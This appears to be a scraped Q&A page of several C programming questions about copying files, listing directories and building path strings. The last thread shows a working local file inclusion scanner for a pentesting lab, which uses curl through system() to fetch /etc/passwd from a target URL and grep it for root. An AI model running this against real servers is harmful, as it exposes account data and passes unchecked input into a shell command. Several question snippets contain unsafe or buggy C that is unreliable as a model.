How can I copy directory files into another folder? - c

I need to copy files from a certain directory into another, I'm in the part where I allocate strtok into arrays and which I find very confusing. I have 2562 files to copy. I think I need 2D array but I always get errors. Help...
#include<stdio.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<windows.h>
#include<string.h>
char** str_split(char* a_str, const char a_delim);
DIR *dir;
struct dirent *sd;
FILE *source, *target;
int main(){
char *token;
int ctr;
char pathsource[40];
char pathtarget[40];
strcpy(pathsource,"C:\\");
strcpy(pathtarget,"C:\\");
system("pause");
dir = opendir(pathsource);
if(dir){
while( (sd=readdir(dir)) != NULL ) {
token = strtok(sd->d_name,"\n");
printf("%s\n",token);
}
closedir(dir);
}
return 0;
}
by the way, I just removed a little bit from the C:\ \ - that isn't the actual code.

If you use Windows OS, you can use command such system("copy dir1\\*.txt dir2\\"); for which parameter (command string) can be constructed as you want.
For example:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main(void)
{
char comstart[] = "copy";
char pathsource[] = "D:\\testdir\\";
char copypattern[] = "*.*";
char pathtarget[] = "D:\\testdir2\\";
char * command;
// building command
command = (char*) malloc(strlen(comstart) + strlen(pathsource) + strlen(copypattern) + strlen(pathtarget) + 3);
if(!command)
{
printf("Unexpected error!\n");
return 1;
}
strcpy(command, comstart);
strcat(command, " ");
strcat(command, pathsource);
strcat(command, copypattern);
strcat(command, " ");
strcat(command, pathtarget);
// command execution
int res = 0;
res = system(command);
if( res == 0)
{
printf("Files copied successfully!\n");
}
else
{
printf("Unexpected error with code %d!\n", res);
}
return 0;
}
EDIT:
Or you can use more advanced approach with Win API functions. See:
CopyFileEx function
MoveFileEx function
and other

Related

How do I turn recursive part of function into threading?

#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <time.h>
int meets_criteria(char * entry_name, char * name) {
int criteria_met = 0;
if (name != NULL) {
if(strcmp(entry_name, name) == 0) {
criteria_met = 1;
}
}
return criteria_met;
}
void find(char * where, char * name) {
DIR * dir;
struct dirent * entry;
char * e_name;
char path[1024];
char curr_dir[] = ".";
char pre_dir[] = "..";
int e_type;
int is_dots;
dir = opendir(where);
if (dir) {
while ((entry = readdir(dir)) != NULL) {
e_type = entry -> d_type;
e_name = entry -> d_name;
is_dots = strcmp(e_name, curr_dir) == 0 || strcmp(e_name, pre_dir) == 0;
snprintf(path, sizeof(path),"%s/%s", where, e_name);
if (!is_dots) {
if (meets_criteria(e_name, name)) {
printf("%s\n", path);
}
if (e_type == DT_DIR) {
find(path, name);
}
}
}
closedir(dir);
}
}
int main () {
char *where;
char *name;
char c[1024];
char d[1024];
printf("Enter dir\n");
scanf("%s", c);
where = c;
printf("Enter file\n");
scanf("%s", d);
name = d;
find(where, name);
return 0;
}
I have this code that does the following. Pass in a directory to start searching for a file.
Pass in a string of a name of the file you want to “find” in your filesystem on your machine.
Start at the given directory and for each file that matches the search string, print the absolute path + filename to the screen.
I want to take the program and add threading in place of the recursive part of the find function. I'm having problem spawning detached threads and ensuring they properly run without locks or any limitations.
Any help would be appreciated.

Cannot access memory at address with strtok()

i'm learning C, and i need to build code to read and compare users logins from CSV file. I'm trying separate the CSV values in array using strtok()function. But when i debug the code (With Visual Studio Code) it show me the error Cannot access memory at address at line of user_data_column = strtok(line, ',');. I don't found search results so that specific case, but within sucess. The complete code:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <limits.h>
#include <string.h>
#include <locale.h>
char username[50], password[50];
char cwd[PATH_MAX];
void show_login()
{
typedef struct
{
char *user;
char *password;
} * user;
char *user_data_column;
user *user_data;
getcwd(cwd, sizeof(cwd));
strcat(cwd, "/data/Users.csv");
FILE *users_list = fopen(cwd, "r");
long file_length = ftell(users_list);
char *buffer = malloc(file_length);
char line[PATH_MAX];
int line_counter = 0;
int is_authorized = 0;
printf("\bLogin\n");
printf("Nome do usuário: ");
fgets(username, sizeof(username), stdin);
printf("Senha: ");
fgets(password, sizeof(password), stdin);
if (users_list)
{
if (buffer)
{
while (fgets(line, sizeof(line), users_list) != NULL)
{
if (line_counter == 0)
{
line_counter++;
continue;
}
user_data_column = strtok(line, ',');
}
}
}
else
{
printf("Erro! O arquivo Users.csv não foi encontrado\n");
exit(1);
}
fclose(users_list);
}
int main()
{
show_login();
return 0;
}
(The step of compare login isn't done)
Error:
You are passing with single quote, use double quotes in the second parameter.
strtok(line, ",");

C code for listing files of a directory is not working

I am using Windows 10 platform and compiled the following C code using the VS buildtools. The code attempts to list file/folders at a given location. Compilation went fine, but I am not getting the desired results. The program writes the message 'Listing files ...', waits for some time and exits. What am I doing wrong here?
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]){
HANDLE fhandle;
WIN32_FIND_DATAA* file_details;
int next_file = 1;
char* path = strcat(argv[1], "/*");
printf("Listing files for %s\n", path);
fhandle = FindFirstFileA(path, file_details);
if(fhandle != INVALID_HANDLE_VALUE){
while(next_file){
printf("%s\n", file_details->cFileName);
next_file = FindNextFileA(fhandle, file_details);
}
}
else{
printf("Error!");
}
FindClose(fhandle);
return 0;
}
There are two problems.
First of all, you cannot pass char* path = strcat(argv[1], "/*"); assign a concatenated string to path, because argv[1] is a const char *.
Second, when you use WIN32_FIND_DATAA*, there is no memory space for it, so it cannot get the returned data.
Here is the modified example:
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HANDLE fhandle;
WIN32_FIND_DATAA* file_details = (WIN32_FIND_DATAA*)malloc(sizeof(WIN32_FIND_DATAA));
memset(file_details, 0, sizeof(WIN32_FIND_DATAA));
int next_file = 1;
char path[100];
strcpy(path, argv[1]);
strcat(path, "/*");
printf("Listing files for %s\n", path);
fhandle = FindFirstFileA(path, file_details);
if (fhandle != INVALID_HANDLE_VALUE) {
while (next_file) {
printf("%s\n", file_details->cFileName);
next_file = FindNextFileA(fhandle, file_details);
}
}
else {
printf("Error!");
}
free(file_details);
FindClose(fhandle);
return 0;
}
Output:

Copying and Merging two strings in C

Note: Follow Alk's solution as a guide on your implemetation
I want to create a function that will let the user insert a directory where output files would be saved. My output files will have a static name so I just need the path.
I want to read the path from the user and append it before the name of the output file. So it would be like this:
output name (generated by another function) outLogFile = "outLogFile.log"
user input = D:\Datasets\some_folder\more_folders
RESULT = D:\Datasets\some_folder\more_folders\outLogFile.log
The way I am doing it, I insert the output name on a temp, use strcpy to copy the file path into outLogFile and strcat to append temp into outLogFile.
Is there a simpler way to do it? A way to merge the two strings into my outLogFile without the use of the temp? A single command to copy the string of path_file before the ouLogFile string, and save it into outLogFile?
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char user_input[100], *path_file,*temp;
char *outLogFile = "outLogFile.log";
printf("Filepath:\n (!Do not inlude filename!)\n");
gets(user_input);
path_file = (char*)malloc(strlen(user_input)+1);
if (user_input[strlen(user_input) - 1]!='\\')
{
strcpy(path_file, user_input);
strcat(path_file, "\\");
}
else
{
strcpy(path_file, user_input);
}
temp = outLogFile;
strcpy(outLogFile, path_file);
strcat(outLogFile, temp);
printf("%s\n%s\n", path_file,outLogFile);
system("pause");
return 0;
}
EDIT: I could use the user_input and path_file to malloc the outLogFile and strcpy strcat the string as follows
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char user_input[100];
char *outLogFile;
char *path_file = "outLogFile.log";
printf("Filepath:\n (!Do not inlude filename!)\n");
fgets(user_input,sizeof(user_input), stdin);
printf("%c\n",user_input[strlen(user_input) - 1]);
outLogFile = (char*)malloc(strlen(user_input)+strlen(path_file));
if (user_input[strlen(user_input) - 1]!='\\')
{
strcpy(outLogFile,user_input);
strcat(outLogFile, "\\");
strcat(outLogFile,path_file);
}
else
{
strcpy(outLogFile,user_input);
strcat(outLogFile,path_file);
}
printf("%s",outLogFile);
system("pause");
return 0;
}
However this code takes the \n by hitting the return button and inserts it between the two strings
To prefix a string by another string and store the result in a new string the most flexible generic approach would be to use dynamic memory allocation like this:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void)
{
char * ps1 = "Hello";
char * ps2 = " World";
size_t length_total = strlen(ps1) + strlen(ps2);
char * ps3 = malloc((length_total + 1) * sizeof *ps3); /* One more for
the 0-terminator. */
if (NULL == ps3)
{
perror("malloc() failed");
exit(EXIT_FAILURE);
}
strcpy(ps3, ps1);
strcat(ps3, ps2);
/* Use ps3. */
puts(ps3);
/* Clean up. */
free(ps3);
return EXIT_SUCCESS;
}
In your particular case where the code provide a default filename without a path and the use-case is to allow prefixing the filename on run-time one might approach this in a simpler way like this.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#define LOGFILENAME "some.log"
int main(void)
{
char logfilepath[PATH_MAX] = LOGFILENAME; /* Just to make sure. */
char dir[PATH_MAX] = "";
if (NULL == fgets(dir, sizeof dir, stdin))
{
if (ferror(stdin))
{
perror("fgets() failed");
exit(EXIT_FAILURE);
}
}
dir[strcspn(dir, "\n\r")] = 0;
{
size_t length_dir = strlen(dir);
if (length_dir > 0 && '/' != dir[length_dir - 1])
{
if (PATH_MAX < length_dir)
{
errno = EINVAL;
perror("'dir' to long");
exit(EXIT_FAILURE);
}
strcat(dir, "/");
++length_dir;
}
{
size_t length_total = length_dir + strlen(logfilepath);
if (PATH_MAX < length_total)
{
errno = EINVAL;
perror("'dir/filename' to long");
exit(EXIT_FAILURE);
}
}
}
strcpy(logfilepath, dir);
strcat(logfilepath, LOGFILENAME);
/* Use logfilepath, . */
puts(logfilepath);
return EXIT_SUCCESS;
}
To not trick this using the #define and to not use a third variable go for shifting:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
int main(void)
{
char logfilepath[PATH_MAX] = "some.log";
{
char dir[PATH_MAX] = "";
if (NULL == fgets(dir, sizeof dir, stdin))
{
if (ferror(stdin))
{
perror("fgets() failed");
exit(EXIT_FAILURE);
}
}
dir[strcspn(dir, "\n\r")] = 0;
{
size_t length_filepath = strlen(logfilepath);
size_t length_dir = strlen(dir);
if (length_dir > 0 && '/' != dir[length_dir - 1])
{
if (PATH_MAX < length_dir)
{
errno = EINVAL;
perror("'dir' to long");
exit(EXIT_FAILURE);
}
strcat(dir, "/");
++length_dir;
}
if (PATH_MAX < (length_dir + length_filepath))
{
errno = EINVAL;
perror("'dir/filename' to long");
exit(EXIT_FAILURE);
}
memmove(logfilepath + length_dir, logfilepath, length_filepath + 1);
memcpy(logfilepath, dir, length_dir);
}
}
/* Use logfilepath, . */
puts(logfilepath);
return EXIT_SUCCESS;
}
You may use sprintf() .
Following is the declaration for sprintf() function.
int sprintf(char *str, const char *format, ...)
For Example :
sprintf(outLogFile, "%s%s", path_file, outLogFile);
You have to care about '\0' character of first string now.

C Programming Element array into sprintf()

This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}

Resources